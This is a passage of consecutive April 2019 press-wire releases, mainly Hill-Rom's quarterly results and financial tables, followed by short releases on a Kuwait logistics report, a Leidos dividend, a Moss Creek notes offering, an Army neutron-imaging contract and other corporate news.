Inc., a pioneer and leader in mobile healthcare communications. Voalte serves more than 200 healthcare customers with more than 84,000 devices on its unique mobile platform. This combination accelerates Hill-Rom's leadership in care communications and advances the company's digital and mobile communication platform and capabilities. Earning U.S. Department of Defense (DoD) Conditional Authority to Operate for the Welch Allyn Connex monitoring systems, Connex vital signs connectivity solutions, and the ELI 380 resting ECG (electrocardiograph device). The DoD authorization allows these Hill-Rom vital signs monitoring systems and resting ECG devices to be connected to DoD healthcare system networks in the U.S. and internationally. Generating significant operating cash flow of $158 million year-to-date and returning value to shareholders. Hill-Rom raised its dividend for the ninth consecutive year, and to date has returned $106 million to shareholders through dividends and share repurchases in fiscal 2019. "Given our progress and strong first half performance, we are raising our full-year core revenue guidance and narrowing our adjusted earnings guidance range, while absorbing modest dilution from the Voalte acquisition," continued Mr. Groetelaars. "We remain committed to driving sustainable and profitable growth as we continue to selectively invest to enhance our commercial capabilities, expand internationally, and drive innovation which will position our company for long-term success." Fiscal 2019 Financial Outlook Hill-Rom updated its 2019 full-year financial outlook, which now incorporates the impact of the Voalte acquisition. Hill-Rom now expects revenue to increase 2 to 3 percent on a reported basis, 3 to 4 percent on a constant currency basis, and core revenue to increase 5 to 6 percent including the contribution from Voalte. Hill-Rom now expects 2019 adjusted earnings, excluding special items, of $5.02 to $5.06 per diluted share, and approximately $420 million in operating cash flow. For the fiscal third quarter 2019, Hill-Rom expects revenue to increase approximately 2 percent on a reported basis, 3 percent on a constant currency basis, and core revenue to increase 4 to 5 percent including the contribution from Voalte. The company expects adjusted earnings, excluding special items, of $1.20 to $1.22 per diluted share. Discussion of Adjusted Financial Measures In addition to the results reported in accordance with GAAP, Hill-Rom routinely provides gross margin, operating margin, income tax expense, and earnings per diluted share results on an adjusted basis because the company's management believes these measures contribute to an understanding of our financial performance, provide additional analytical tools to understand our results from core operations, and reveal underlying operating trends. These measures exclude strategic developments, acquisition and integration costs, regulatory costs related to updating existing product registrations to comply with the European Medical Device Regulations, special charges, the transitional impacts of U.S. tax reform legislation, change in tax accounting methods, other tax law changes and expenses associated with these tax items, the impacts of significant litigation matters, and other unusual events. The company also excludes expenses associated with the amortization of purchased intangible assets. These adjustments are made to allow investors to evaluate and understand operating trends excluding the non-cash impact of acquired intangible amortization on operating income and earnings per diluted share. Management uses these measures internally for planning, forecasting, and evaluating the performance of the business. Investors should consider these non-GAAP measures in addition to, not as a substitute for, or as superior to, measures of financial performance prepared in accordance with GAAP. Reconciliations of GAAP measures to adjusted measures appear in the financial tables of this release. The company also routinely provides earnings per diluted share guidance on an adjusted basis. This excludes the impact of intangible asset amortization associated with prior business acquisitions, which we expect to be $1.27 to $1.33 per diluted share for the fiscal year. Management also does not include adjusted items such as strategic developments, acquisition and integration costs, special charges, and other unusual items in our guidance because such items are evaluated on an ongoing basis, can be highly variable and cannot be reasonably predicted. As such, prospective quantification of these items is not feasible, and a full reconciliation of non-GAAP earnings per diluted share guidance to GAAP earnings per diluted share has not been provided. However, as a result of acquisitions, our ongoing portfolio and business optimization initiatives, and any change to the transitional impacts from U.S. tax reform legislation, we do expect adjusted items we have not predicted to potentially be significant to our GAAP measures including gross margin, operating margin, income tax expense, and earnings per diluted share. The company also presents certain results on a constant currency basis, which compares results between periods as if foreign currency exchange rates had remained consistent period-over-period. Management monitors sales performance on an adjusted basis that eliminates the positive or negative effects that result from translating international sales into U.S. dollars. Management calculates constant currency by applying the foreign currency exchange rate for the prior period to the local currency results for the current period. Conference Call Webcast and Dial-in Information The company will host a conference call and webcast today beginning at 7:00 a.m. (CT) / 8:00 a.m. (ET). Conference Call Audio Only Dial-in Information: To participate in the conference call, dial (844) 654-5620 (domestic) or (647) 253-8654 (international). Please dial into the call at least 10 minutes prior to the start to allow time to connect. The confirmation code is 4779188. Webcast: A simultaneous webcast of the call will be accessible via the company's website at www.hill-rom.com. Presentation: A supplementary presentation will be posted to Hill-Rom's website prior to the webcast. A recording of the webcast/call audio will be available for telephone replay through May 3, 2019. To access the replay, dial (800) 585-8367 (domestic) or (416) 621-4642 (international). For the replay, callers will need to use confirmation code 4779188. If you are unable to listen to the live webcast or the telephone replay, the webcast will be archived at www.hill-rom.com. About Hill-Rom Holdings, Inc. Hill-Rom is a leading global medical technology company with more than 10,000 employees worldwide. We partner with health care providers in more than 100 countries, across all care settings, by focusing on patient care solutions that improve clinical and economic outcomes in five core areas: Advancing Mobility, Wound Care and Prevention, Patient Monitoring and Diagnostics, Surgical Safety and Efficiency and Respiratory Health. Our innovations ensure caregivers have the products they need to help diagnose, treat and protect their patients; speed up recoveries; and manage conditions. Every day, around the world, we enhance outcomes for patients and their caregivers. Learn more at hill-rom.com. Disclosure Regarding Forward-Looking Statements Certain statements herein contain forward-looking statements, within the meaning of the Private Securities Litigation Reform Act of 1995, regarding the company's future plans, proposed divestitures, product launches, objectives, beliefs, expectations, representations and projections. It is important to note that forward-looking statements are not guarantees of future performance, and the company's actual results could differ materially from those set forth in any forward-looking statements. For a more in-depth discussion of factors that could cause actual results to differ from those contained in forward-looking statements, see the discussions under the heading "Risk Factors" in the company's previously filed most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q. The company assumes no obligation to update or revise any forward-looking statements, unless required by law. Investor Relations Contact: Mary Kay Ladone, Senior Vice President, Corporate Development, Strategy and Investor Relations Phone: 312-819-9387 Email: [email protected] Media Contact: Howard Karesh, Vice President, Corporate Communications Phone: 312-819-7268 Email: [email protected] The following table reflects the Condensed Consolidated Statements of Income for the quarter and year to date periods ended March 31, 2019, reported under ASC 606, and for the quarter and year to date periods ended March 31, 2018, reported under ASC 605: Hill-Rom Holdings, Inc. and Subsidiaries Condensed Consolidated Statements of Income (In millions, except per share data, unaudited) Quarter Ended March 31 Year Ended March 31 2019 1 2018 2 2019 1 2018 2 Net revenue Product sales and service $ 636.5 $ 610.7 $ 1,248.1 $ 1,185.9 Rental revenue 77.7 99.8 149.6 194.3 Total net revenue 714.2 710.5 1,397.7 1,380.2 Cost of net revenue Cost of goods sold 322.7 313.7 639.0 617.8 Rental expenses 38.9 46.4 76.1 92.4 Total cost of net revenue 361.6 360.1 715.1 710.2 Gross profit Product sales and service 313.8 297.0 609.1 568.1 Rental 38.8 53.4 73.5 101.9 Total gross profit 352.6 350.4 682.6 670.0 As a percentage of sales 49.4 % 49.3 % 48.8 % 48.5 % Research and development expenses 36.6 34.7 69.8 67.0 Selling and administrative expenses 231.2 232.7 449.2 454.4 Special charges 3.5 36.9 11.5 50.4 Operating profit 81.3 46.1 152.1 98.2 Other income (expense), net (20.6) (24.6) (41.8) (45.9) Income tax expense (benefit) 11.2 (7.0) 18.6 (64.5) Net income 49.5 28.5 91.7 116.8 Diluted earnings per share $ 0.74 $ 0.42 $ 1.36 $ 1.73 Average diluted common shares outstanding (in thousands) 67,344 67,597 67,525 67,508 Dividends per common share $ 0.21 $ 0.20 $ 0.41 $ 0.38 1 Reported under ASC 606 2 Reported under ASC 605 Hill-Rom Holdings, Inc. and Subsidiaries Revenue Constant Currency (In millions, unaudited) The following table reflects sales growth data for the quarter ended March 31, 2019, reported under ASC 606, and for the quarter ended March 31, 2018, reported under ASC 605: U.S. OUS Quarter Ended March 31 Change As Constant Change As Change As Constant 2019 1 2018 2 Reported Currency Reported Reported Currency Product sales and service $ 636.5 $ 610.7 4.2 % 6.4 % 12.6 % (9.4) % (3.6) % Rental revenue 77.7 99.8 (22.1) % (21.2) % (23.5) % (11.2) % (4.3) % Total net revenue $ 714.2 $ 710.5 0.5 % 2.5 % 5.8 % (9.5) % (3.7) % Patient Support Systems 359.6 355.0 1.3 % 3.0 % 7.4 % (13.1) % (7.2) % Front Line Care 243.1 237.9 2.2 % 3.9 % 4.5 % (2.8) % 2.7 % Surgical Solutions 111.5 117.6 (5.2) % (1.8) % 2.2 % (11.6) % (5.2) % Total net revenue $ 714.2 $ 710.5 0.5 % 2.5 % 5.8 % (9.5) % (3.7) % OUS - Outside of the United States 1 Reported under ASC 606 2 Reported under ASC 605 The following table reflects sales growth data for the year to date period ended March 31, 2019, reported under ASC 606, and for the year to date period ended March 31, 2018, reported under ASC 605: U.S. OUS Year to Date Ended March 31 Change As Constant Change As Change As Constant 2019 1 2018 2 Reported Currency Reported Reported Currency Product sales and service $ 1,248.1 $ 1,185.9 5.2 % 6.9 % 11.4 % (5.2) % (0.7) % Rental revenue 149.6 194.3 (23.0) % (22.4) % (24.5) % (11.1) % (6.2) % Total net revenue $ 1,397.7 $ 1,380.2 1.3 % 2.8 % 4.7 % (5.5) % (1.0) % Patient Support Systems 700.6 689.4 1.6 % 3.0 % 4.7 % (6.0) % (1.3) % Front Line Care 476.5 462.5 3.0 % 4.3 % 4.9 % (1.1) % 3.0 % Surgical Solutions 220.6 228.3 (3.4) % (0.9) % 4.0 % (9.7) % (5.1) % Total net revenue $ 1,397.7 $ 1,380.2 1.3 % 2.8 % 4.7 % (5.5) % (1.0) % OUS - Outside of the United States 1 Reported under ASC 606 2 Reported under ASC 605 Hill-Rom Holdings, Inc. and Subsidiaries Reconciliation: Earnings Per Share (In millions, except per share data, unaudited) Quarter Ended March 31, 2019 2 Quarter Ended March 31, 2018 3 Gross Margin Operating Margin Income Before Income Taxes Income Tax Expense Diluted EPS1 Gross Margin Operating Margin1 Income Before Income Taxes Income Tax Expense Diluted EPS1 GAAP Basis 49.4 % 11.4 % $ 60.7 $ 11.2 $ 0.74 49.3 % 6.5 % $ 21.5 $ (7.0) $ 0.42 Adjustments: Acquisition and integration costs % 0.2 % 1.6 0.3 0.02 % 0.4 % 2.6 0.7 0.03 Acquisition-related intangible asset amortization % 3.8 % 27.3 6.4 0.31 % 3.8 % 27.0 6.9 0.30 Regulatory compliance costs % 0.5 % 3.3 0.9 0.04 % 0.1 % 0.8 0.2 0.01 Litigation expenses % % 0.3 % 1.8 0.4 0.02 Special charges % 0.5 % 3.5 0.9 0.04 % 5.2 % 36.9 9.7 0.40 Tax law and method changes % % % % 8.5 (0.12) Adjusted Basis 49.4 % 16.4 % $ 96.4 $ 19.7 $ 1.14 49.3 % 16.2 % $ 90.6 $ 19.4 $ 1.05 1 Total does not add due to rounding 2 Reported under ASC 606 3 Reported under ASC 605 Year to Date Ended March 31, 2019 2 Year to Date Ended March 31, 2018 3 Gross Margin Operating Margin1 Income Before Income Taxes Income Tax Expense Diluted EPS Gross Margin Operating Margin Income Before Income Taxes Income Tax Expense Diluted EPS1 GAAP Basis 48.8 % 10.9 % $ 110.3 $ 18.6 $ 1.36 48.5 % 7.1 % $ 52.3 $ (64.5) $ 1.73 Adjustments: Acquisition and integration costs % 0.1 % 1.8 0.4 0.02 % 0.3 % 4.6 1.2 0.05 Acquisition-related intangible asset amortization % 3.8 % 53.0 12.3 0.60 % 3.9 % 53.7 13.5 0.60 Regulatory compliance costs % 0.4 % 6.1 1.6 0.07 % 0.1 % 1.2 0.3 0.01 Litigation expenses % % 0.4 % 5.8 1.5 0.06 Special charges % 0.8 % 11.5 2.8 0.13 % 3.7 % 50.4 13.2 0.55 Tax law and method changes % % 1.0 (0.02) % % 68.8 (1.01) Gain on disposition % % % % (1.0) (0.01) Adjusted Basis 48.8 % 16.1 % $ 182.7 $ 36.7 $ 2.16 48.5 % 15.5 % $ 167.0 $ 34.0 $ 1.97 1 Total does not add due to rounding 2 Reported under ASC 606 3 Reported under ASC 605 Hill-Rom Holdings, Inc. and Subsidiaries Condensed Consolidated Balance Sheets (In millions, unaudited) The following table reflects the Condensed Consolidated Balance Sheets as of March 31, 2019, reported under ASC 606, and as of September 30, 2018, reported under ASC 605: March 31, 2019 1 September 30, 2018 2 Assets Current Assets Cash and cash equivalents $ 187.0 $ 183.0 Trade accounts receivable, net of allowances 581.8 580.7 Inventories, net 293.8 291.7 Other current assets 118.4 100.2 Total current assets 1,181.0 1,155.6 Property, plant and equipment, net 313.3 328.3 Intangible assets Goodwill 1,732.9 1,738.3 Other intangible assets and software, net 1,012.0 1,027.7 Other assets 128.4 110.1 Total Assets $ 4,367.6 $ 4,360.0 Liabilities Current Liabilities Trade accounts payable $ 169.9 $ 177.3 Short-term borrowings 224.7 182.5 Other current liabilities 302.7 302.6 Total current liabilities 697.3 662.4 Long-term debt 1,764.4 1,790.4 Other long-term liabilities 307.1 291.0 Total Liabilities 2,768.8 2,743.8 Total Shareholders' Equity 1,598.8 1,616.2 Total Liabilities and Shareholders' Equity $ 4,367.6 $ 4,360.0 1 Reported under ASC 606 2 Reported under ASC 605 Hill-Rom Holdings, Inc. and Subsidiaries Condensed Consolidated Statements of Cash Flows (In millions, unaudited) The following table reflects the Condensed Consolidated Statements of Statements of Cash Flows for the year to date ended March 31, 2019, reported under ASC 606, and for the year to date ended March 31, 2018, reported under ASC 605: Year to Date Ended March 31 2019 1 2018 2 Operating Activities Net income $ 91.7 $ 116.8 Adjustments to reconcile net income to net cash provided by operating activities: Depreciation and amortization of property, plant, equipment and software 36.4 45.1 Acquisition-related intangible asset amortization 53.0 53.7 Amortization of debt discounts and issuance costs 3.2 3.7 Benefit for deferred income taxes (8.2) (89.2) (Gain) loss on disposal of property, equipment leased to others, intangible assets, and impairments (0.2) (0.6) Loss on disposition of businesses 22.4 Stock compensation 16.9 15.8 Change in working capital excluding cash, current debt, acquisitions and dispositions: Trade accounts receivable 24.0 45.7 Inventories (1.5) (29.0) Other current assets 3.7 (37.9) Trade accounts payable (6.6) (8.7) Accrued expenses and other liabilities (53.9) (35.8) Other, net (0.3) 23.6 Net cash provided by operating activities 158.2 125.6 Investing Activities Purchases of property, plant, equipment and software (31.4) (51.4) Proceeds on sale of property and equipment leased to others 3.1 3.7 Payment for acquisition of intangible assets (17.1) Payments for acquisitions of investments (26.6) Proceeds on sale of business 1.0 Other, net 0.2 (1.0) Net cash used in investing activities (71.8) (47.7) Financing Activities Payments of long-term debt (0.1) (54.9) Borrowings on Revolving Credit Facility 110.0 75.0 Payments on Revolving Credit Facility (105.0) (95.0) Borrowings on Securitization Program 4.9 51.4 Payments on Securitization Program (4.9) (37.3) Borrowings on Note Securitization Facility 37.5 Payments on Note Securitization Facility (28.4) Payments of cash dividends (27.4) (25.1) Proceeds on exercise of stock options 8.6 10.5 Stock repurchases for stock award withholding obligations (4.0) (4.4) Stock repurchases in the open market (75.0) Other, net 3.7 4.0 Net cash used in financing activities (80.1) (75.8) Effect of exchange rate changes on cash (2.3) 5.1 Net Cash Flows 4.0 7.2 Cash and Cash Equivalents: At beginning of period 183.0 231.8 At end of period $ 187.0 $ 239.0 1 Reported under ASC 606 2 Reported under ASC 605 SOURCE Hill-Rom Holdings, Inc. Related Links http://www.hill-rom.com DUBLIN, April 25, 2019 /PRNewswire/ -- The "Kuwait Express Delivery and E-Commerce Logistics Market Outlook to 2022" report has been added to ResearchAndMarkets.com's offering. It is expected that Kuwait E-commerce logistics will grow at a robust CAGR of 21.1% in the market in terms of revenue in the 5 years till the year ending 2022. Kuwait Express Logistics Market Overview and Size Express delivery systems have been considered as a crucial segment of the Kuwait logistics market, utilized for faster delivery of shipments in comparison to general services. Express delivery companies have created a door to door linkage across domestic and international markets and have developed advanced shipment tracking facilities to cater time-sensitive needs of the logistics sector. The gradual shift of the population from retail shopping to online shopping of electronic items, high internet penetration, daily grocery needs, apparels and others in the country has triggered the demand for express logistics in the country. The geographical location of Kuwait has aided the overall market growth majorly due to good connectivity with Asia Pacific countries and GCC regions. Kuwait Express Logistics Market Segmentation Mode of Transport Road express has dominated the express delivery market in terms of revenue and has accounted for maximum revenue share during the period. Road infrastructure is highly developed which ensures majority of the express logistics player to use roadways to transport goods within the Kuwait as compared to air express as shipment through air is more costly. In order to transport the goods internationally, the air cargo takes lesser hours as compared to road express logistics. Delivery Type Kuwait express delivery market has been dominated by international express in 2017. Factors such as high volume of international trade, shipments from expats and increase in business activities have resulted in a higher volume of international express shipments in Kuwait. Domestic players have contributed through effective collaborations with global companies in order to enhance their reach to the remote areas of the country. B2B segment has dominated the Kuwait express logistics during 2017. These express logistics services are used by businesses to deliver goods within a specific time frame. Competitive Landscape in the Kuwait Express Delivery Market The domestic express and logistics firms have a strong presence in several cities nationwide. In Kuwait express delivery market is largely dominated by major global players such as DHL, FedEx, Aramex, UPS and others which collectively contribute to the majority of revenues in the international express delivery market. Kuwait Express Logistics Market Future Outlook and Projections The use of information technology is anticipated to increase in the express delivery services in Kuwait with rising competition among the express delivery players in the country. The last mile delivery step to the consumer will gain more importance in future due to the rising share of B2C parcel logistics in the market. Kuwait E-Commerce Logistics Market Overview and Size The Kuwait E-commerce industry has witnessed a positive growth over the past three years. Rise in the smart phones shipments in the country has augmented the growth of E-commerce sector in the country. Various logistics service provider offers additional services and offer discounts for online orders as they help in reduction of additional management processes. Kuwait E-Commerce Logistics Market Segmentation E-commerce merchant through in-house logistics have captured the majority of the market share in terms of the total number of shipments in the year 2017. It has been observed that logistics companies in the Kuwait prefer to manage operations on their own which has resulted in the supremacy of this segment. On the other hand, it was witnessed that international E-commerce companies prefer to outsource logistics to 3PL companies to avoid the obstacles in establishing their own operations. Same day delivery within five hours has dominated the market in terms of number of orders owing to increasing focus of the companies on providing better services coupled with increasing customer needs for better service. Clothing, Fashion Accessories, White Goods, Furniture and Others are the major products which are delivered through same day delivery beyond five hours duration. Comparative Landscape in the Kuwait E-Commerce Logistics Market The E-commerce logistics industry of the Kuwait was observed to be concentrated with the presence of major players such as Aramex, DHL and FedEx covering around majority of the market share in 2017. These companies were witnessed to compete on parameters such as shipping points, coverage area, delivery assistance (last mile) and others. Key Topics Covered: 1. Executive Summary 2. Research Methodology 2.1. Market Definitions 2.2. Abbreviations 2.3. Consolidated Research Approach 2.4. Variables (Dependent and Independent) 2.5. Correlation Matrix 2.6. Regression Matrix 2.7. Limitations and Conclusion 3. Kuwait Express Logistics Ecosystem 3.1. Supplier Side 3.2. Demand Side 4. Kuwait Express Logistics Market Overview and Genesis 5. Value Chain for Kuwait Express Logistics Market 6. Express Logistics Market 6.1. Market Size by Revenue, 2012-2017 6.2. Market Segmentation by Express Movement (Air Express and Road Express), 2017 6.2.1. Cross Comparison by Express Movement, 2017 6.3. By Delivery Type (International Express and Domestic Express), 2017 6.4. By Business Mode (B2B, B2C and C2C), 2017 7. Pricing Analysis for Kuwait Express Logistics Market 8. Issues and Challenges in Kuwait Express Logistics Market 9. Government Role in Kuwait Express Logistics Market - Customs Clearance Process 9.1 Government Role in Kuwait Express Logistics Market - Documentary Requirements for Customs 9.2 Government Role in Kuwait Express Logistics Market - For Vehicles 10. Competitive Scenario of Kuwait Freight Forwarding Market 11. Directory of Major Players in Kuwait Express Logistics Market 12. Company Profile of Major Express Logistics Companies 12.1. DHL Express Kuwait 12.2. ARAMEX Kuwait 12.3. FedEx Express 12.4. UPS Express 12.5. SKYCOM Express and OCS ANA GROUP 12.6. Jeezan Cargo and Frontline Express 13. Future Outlook and Projections 13.1. Kuwait Express Logistics Market - Future Outlook and Projections, 2017-2022 13.2. Kuwait Express Logistics Market - Future Segmentation by Express Movement and By Delivery Type, 2022 14. E-Commerce Market 14.1. Overview and Market Size, 2015-2017 14.2. Segmentation by Time Duration (Same Day delivery Beyond Five Hours, Delivery Within Five Hours and Others), 2017 14.3. Segmentation by Distribution Channel (E-Commerce Merchants and 3PL Companies) and Mode of Payment, 2017 15. Competitive Scenario for Kuwait E-Commerce Logistics Market 16. Kuwait E-Commerce Logistics Market - Future Outlook and Projections, 2017-2022 17. Kuwait Express Logistics Market - Analyst Recommendations Companies Mentioned ARAMEX Kuwait DHL Express FedEx Express Frontline Express Jeezan Cargoa OCS ANA GROUP SKYCOM Express UPS Express For more information about this report visit https://www.researchandmarkets.com/r/fw437o Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com RESTON, Va., April 26, 2019 /PRNewswire/ -- Leidos Holdings, Inc. (NYSE: LDOS) today announced that its Board of Directors has declared a quarterly cash dividend of $0.32 per outstanding share of Common Stock of Leidos Holdings, Inc. The cash dividend is payable on June 28, 2019 to stockholders of record as of the close of business on June 14, 2019. About Leidos Leidos is a Fortune 500 information technology, engineering, and science solutions and services leader working to solve the world's toughest challenges in the defense, intelligence, homeland security, civil, and health markets. The company's 32,000 employees support vital missions for government and commercial customers. Headquartered in Reston, Virginia, Leidos reported annual revenues of approximately $10.19 billion for the fiscal year ended December 28, 2018. For more information, visit www.Leidos.com. Media contact: Melissa Koskovich 571.526.6850 [email protected] Investor Relations: Kelly Hernandez 571.526.6404 [email protected] SOURCE Leidos Holdings, Inc. Related Links http://www.leidos.com HOUSTON, April 26, 2019 /PRNewswire/ -- Moss Creek Resources Holdings, Inc. (the "Company"), a wholly-owned subsidiary of Surge Energy US Holdings Company, announced today that it has priced $500.0 million aggregate principal amount of its 10.5% senior unsecured notes due 2027 (the "Notes") in a private offering (the "Offering") that is exempt from registration under the Securities Act of 1933, as amended (the "Securities Act"). The Offering is expected to close on May 1, 2019, subject to customary closing conditions. The Notes will be senior unsecured obligations of the Company and will initially be guaranteed by each of the Company's two subsidiaries, Moss Creek Resources, LLC and Surge Operating, LLC. The Company intends to use the net proceeds from the Offering to repay all outstanding borrowings under its revolving credit facility, with the remainder of the net proceeds to be used for general corporate purposes. The Notes and related guarantees are being offered in a private placement, solely to persons reasonably believed to be qualified institutional buyers in reliance on Rule 144A under the Securities Act or outside the United States to non-U.S. persons in compliance with Regulation S under the Securities Act. The Notes and related guarantees have not been registered under the Securities Act or the securities laws of any other jurisdiction and may not be offered or sold in the United States absent registration or an applicable exemption from the registration requirements of the Securities Act and applicable state securities or blue sky laws and foreign security laws. This press release shall not constitute an offer to sell or the solicitation of an offer to buy any Notes, nor shall there be any sales of the Notes in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction. This press release includes "forward-looking statements," including, in particular, statements about the Company's plans, strategies and prospects. These forward-looking statements can generally be identified by the use of forward-looking terminology, including the terms "believes," "expects," "anticipates," "intends," "estimates," "projects," "target," "goal," "plans," "objective," "should" or similar expressions or, in each case, their negative or other variations or comparable terminology. Although the Company bases these forward-looking statements on assumptions that the Company believes are reasonable when made, actual results could differ materially from those projected in the forward-looking statements. These forward-looking statements are subject to risks, uncertainties and assumptions, including, among other things: the Company's ability to consummate the Offering, changes in general economic and market conditions and other factors discussed in the offering memorandum in connection with this Offering. You should not put undue reliance on any forward-looking statements. You should understand that many important factors, including those discussed herein, could cause actual events and results to differ materially from those expressed or suggested in any forward-looking statement. Any forward-looking statements that the Company makes in this press release speak only as of the date of those statements. Except as required by law, the Company does not undertake any obligation to update or revise these forward-looking statements to reflect new information or events or circumstances that occur after the date of this press release or to reflect the occurrence of unanticipated events or otherwise. SOURCE Surge Energy Related Links http://www.surgeenergya.com/ TAIZHOU, China, April 26, 2019 /PRNewswire/ -- In the preliminary meeting of operating the regional research center, International Centre for Genetic Engineering Biotechnology (ICGEB) in China, Science and Technology Daily was informed that China Medical City (CMC), China's leading medical industrialization base in Taizhou, Jiangsu Province, was invited by ICGEB to discuss the promotion and collaboration between CMC and ICGEB. The meeting mainly discussed which areas of research activities will be the most appropriate for collaboration. "In cooperation with CMC, we are expecting there will be novel approaches for the development of new therapeutics, vaccines, and diagnostics," Dr. Lawrence Banks, the scientific coordinator and group leader of ICGEB, told Science and Technology Daily recently. ICGEB is an international institution promoted by the United Nations Industrial Development Organization. As a center of excellence for research and training in genetic engineering and biotechnology, its goal is to make benefits for the developing countries. Collaborating with CMC and China National Center for Biotechnology Development (CNCBD), ICGEB decided to set up the worlds first ICGEB regional research center (ICGEB-RRC) at CMC. Through providing high-quality research fields, holding meetings and workshops, training scientists in the lab and providing great opportunities in ICGEB-RRC, top-class scientists will be attracted to do research and tackle disease here. Banks told Science and Technology Daily that within the CMC, ICGEB will find ways to improve local advantages. Although CMC invests more in developing biotechnology, there is a long way to go for the future development. Take ICGEB-RRC as an example, Banks gave his suggestions. The main advice is to push science innovation, as big discoveries can greatly impact the global health sector. Banks mentioned the importance of promoting collaboration and building networks around the world for the future development of biological research as well. He explained that inviting experts from different regions to the ICGEB-RRC and finding the most appropriate ways through discussions could provide a better way to promote local biotech development. CMC will hold the China International Medical Expo 2019 (MedicalExpo), one of the most famous world-wide medical exhibitions in China in September, and it will reach its ten-year milestone. Last year, 230 foreign enterprises from 30 different countries took part in the MedicalExpo and brought lots of new biotechnologies, equipments and research results. SOURCE Science and Technology Daily | IUSTC Beginning Thursday, April 25 through Sunday, April 28, OUTFRONT Media is showcasing the Jets near-real-time picks for the 2019 NFL Draft alongside the Jets Twitter feed on the company's Liveboard digital displays in subway stations throughout New York City. Prior to the draft, the Liveboards, will displayed a countdown to the draft's start time on Thursday evening. "Our content program was created to champion the use of out-of-home and improve the quality of audiences' on-the-go experiences with more than just engaging advertising content," said Jason Kuperman, Chief Product Experience Officer of OUTFRONT Media. "We know New Yorkers are passionate fans of their hometown teams, and our partnership with the New York Jets allows us to keep fans in the loop on the draft as they're out and about." As the out-of-home industry continues its digital transformation, OUTFRONT is developing new technological capabilities, giving advertisers the power to innovate through data-driven content, full motion video functionality, mobile integrations and more. Together with the Jets marketing team, OUTFRONT Media's Product Experience team designed the campaign creative and leveraged its digital out-of-home physical assets and data feed technology capabilities to execute the campaign. OUTFRONT Media's content program launched in November 2018 with inaugural partner the Museum of Modern Art. Not limited to New York City, OUTFRONT Media plans to include similar content across its digital network for consumers in metros and towns across the country. OUTFRONT plans to expand the types of curated content categories based on the needs and interests of transit riders. About OUTFRONT Media Inc. OUTFRONT leverages the power of technology, location and creativity to connect brands with consumers outside of their homes through one of the largest and most diverse sets of billboard, transit, and mobile assets in North America. Through its ON Smart Media platform, OUTFRONT is implementing digital technology that will fundamentally change the ways advertisers engage audiences on-the-go. SOURCE OUTFRONT Media Inc. Related Links http://www.outfrontmedia.com SEATTLE, April 25, 2019 /PRNewswire/ -- Bill Marler, food safety advocate and foodborne attorney since 1993, whose Seattle law firm, Marler Clark, has been contacted by victims of the recent E. coli O103 ground meat outbreak, and recent Salmonella outbreaks linked cut fruit and ground tuna, called today on those companies responsible to pay the medical bills and lost wages of all individuals who became ill. "We know that at least 156 people became ill with E. coli infections after eating tainted beef and 130 became ill from eating either cut fruit or ground tuna. Unfortunately, those numbers will likely rise in the coming week," Marler said. "The cost of treating victims of E. coli and Salmonella infections can run in the tens of thousands of dollars, or in a severe case, even in the hundreds of thousands of dollars. These families need these companies to do more than promise to cooperate in the investigation into these outbreaks. They need to know that these companies intend to fulfill their corporate responsibility by looking out for their customers." Marler noted that over the last two decades in other outbreak-situations, companies such as Chi-Chi's, Dole, Jack in the Box, Conagra, Odwalla and Sheetz advanced medical costs for outbreak victims whose illnesses were traced to their food products. Since the Jack in the Box E. coli outbreak in 1993, where Bill recovered $15,600,000 for one of its victims, Bill has represented thousands of E. coli, Salmonella, Listeria, Hepatitis A and other foodborne illness victims against the largest corporations in the US and around the world. Total recoveries on behalf of victims are in excess of $650,000,000. Dozens of times a year Bill speaks to industry and government throughout the United States, Canada, Europe, Africa, China and Australia on why it is important to prevent foodborne illnesses. He is also a frequent commentator on food litigation and food safety on Marler Blog . Bill is also the publisher of Food Safety News. SOURCE Marler Clark, The Nation's Food Safety Law Firm Related Links https://www.marlerclark.com MADISON, Wis., April 26, 2019 /PRNewswire/ -- Phoenix, LLC, a Wisconsin-based nuclear technology company, has secured $4 million in funding from the US Army to demonstrate innovative neutron-based methods of nondestructive testing utilizing its high flux neutron generators. Phoenix's latest contract funds demonstration of a high-throughput, high-resolution thermal neutron imaging system as well as a fast neutron imaging system. Further, Phoenix will take the first steps toward fusing neutron radiographs with X-rays to present inspectors with complementary information in the form of a hybrid image. "With N-ray and X-ray capabilities merged, the technology Phoenix is developing will be instrumental in the inspection of large, complex munitions for the military and vital to ensuring our warfighters continue to receive safe and effective munitions produced in the most efficient manner," says Phoenix President Evan Sengbusch. Phoenix's relationship with the US Army has been ongoing since 2007. In 2014, Phoenix was awarded a $3 million contract with the Army to design and build a first-of-its-kind accelerator-based neutron generator to be used for nondestructive inspection of critical defense components such as munitions and pyrotechnics, which cannot be inspected for certain defects using X-ray. In 2016, Phoenix was awarded two more contracts valued at a combined $3.6 million to design and build a second-generation neutron generator for detecting defective munitions and to conduct standoff buried IED detection using a Phoenix-developed mobile neutron generator prototype. Under the latest Army contract award, demonstration work will be performed at Phoenix's Neutron Imaging Center (PNIC), in Fitchburg, Wisconsin. PNIC is a paradigm shift both for the company and for neutron imaging. The facility, set to open later in 2019, will offer customers neutron radiography as a service as well as provide a testbed for neutron-based research experiments for both commercial and government customers. PNIC will also serve as a template for additional systems that can be sited at industrial sites across the country and integrated with production and quality assurance operations. This model is intended to reduce nondestructive inspection cycle times and increase accessibility of neutron radiography, which has been hindered by the limited access at the few remaining nuclear reactor facilities offering this capability. About Phoenix: Transforming nuclear technology since 2005, Phoenix designs and manufactures the world's strongest neutron generators. Phoenix's cutting-edge technology has been safely used in the aerospace, defense, medical and energy sectors to improve manufacturing efficiency and quality. Since 2012, Phoenix has designed and delivered neutron generators for a wide range of practical purposes including neutron radiography of aerospace components, nuclear fuel inspection, radiation effects testing, threat detection, and medical isotope production. SOURCE Phoenix, LLC LAKE FOREST, Ill., April 26, 2019 /PRNewswire/ -- Tenneco Inc. (NYSE: TEN) will report its first quarter 2019 financial results before the market opens on Thursday, May 9, 2019 and host a webcast conference call the same day at 9:30 a.m. ET. The purpose of the call is to discuss the company's financial results for the first quarter 2019, as well as to provide other information regarding matters that may 